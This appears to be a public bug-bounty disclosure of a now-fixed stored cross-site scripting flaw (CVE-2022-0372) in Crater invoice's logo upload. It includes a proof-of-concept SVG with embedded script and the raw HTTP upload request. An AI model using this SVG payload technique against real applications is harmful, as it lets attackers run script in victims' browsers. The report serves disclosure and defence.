Cross-site Scripting (XSS) - Stored in crater-invoice/crater

0

Valid Reported on Jan 16th 2022

Description

There is a vulnerability in the upload avatar functionality of crater invoice which would allow an attacker to upload malicious .SVG files in order to execute Javascript. All that is required is that the victim browse to the link location of the .SVG file

Proof of Concept

xss.svg:

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#00
   <script type="text/javascript">
      alert("svg xss");
   </script>
</svg>
```

Request:

```
POST /api/v1/company/upload-logo HTTP/1.1
Host: demo.craterapp.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
company: 2
X-XSRF-TOKEN: eyJpdiI6IldPbm1zN2h1OXM5MStpL3ZlNms5N0E9PSIsInZhbHVlIjoiSEk2E
```

```
X-XSRF-TOKEN: eyJpdiI6IldPbmI2N2hiQXM3M3tpL3ZiNms3N0L9P3IsIhZhbHViIjoiSFk2
Content-Type: multipart/form-data; boundary=--------------------------2022
Content-Length: 735
Origin: https://demo.craterapp.com
DNT: 1
Connection: keep-alive
Referer: https://demo.craterapp.com/admin/settings/company-info
Cookie: __stripe_mid=7d4c8a79-b568-4a3b-a898-67c90bb47968edd571; __stripe_s
Sec-GPC: 1

----------------------------202251926415456929271193356967
Content-Disposition: form-data; name="company_logo"

{"name":"xss.svg","data":"
----------------------------202251926415456929271193356967--
```

Response:

```
{"success":true}
```

Impact

This vulnerability is capable of Javascript code execution. An attacker can use this to upload a malicious .SVG file with Javascript embedded into it, then whenever a user visits the link to the .SVG file, the malicious Javascript would execute.

CVE
CVE-2022-0372
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
High (7.6)

Visibility
Public

Status
Fixed

Found by

1d8

@1d8

amateur

This report was seen 461 times.

We are processing your report and will contact the **crater-invoice/crater** team within 24 hours.
10 months ago

We have contacted a member of the **crater-invoice/crater** team and are waiting to hear back
10 months ago

We have sent a follow up to the **crater-invoice/crater** team. We will try again in 7 days.
10 months ago

Mohit Panjwani validated this vulnerability 10 months ago

1d8 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Mohit Panjwani marked this as fixed in **6.0.2** with commit **cdc913** 10 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation